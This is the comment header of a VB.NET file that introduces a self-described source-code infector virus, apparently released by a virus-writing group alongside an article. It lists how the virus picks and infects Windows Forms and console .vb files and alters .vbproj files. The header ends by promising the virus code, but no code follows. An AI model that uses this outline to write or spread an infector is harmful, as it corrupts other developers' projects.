'VB.NET Source Code Infector
'---------------------------
'
' by alcopaul/brigada ocho
' may 24, 2011
'
' This is the demo code of my article "Visual Basic .NET Source Code Infection"
'
'
' Notes
'
' 1.) Infects Windows Forms and non-Windows Forms/Console .vb files
' 2.) Uses System.Xml namespace and modifies the target .vbproj file to contain System.Xml as a reference
' 3.) Xml parsing fails if a key contains xmlns="http://schemas.microsoft.com/developer/msbuild/2003". It was handled
'     successfully
' 4.) Infects 5 vb files per run
' 5.) Outline -> check .vbproj -> determine if windows form or non-windows form -> get the startup .vb file -> infect
'
'
' Below is the virus. Enjoy.
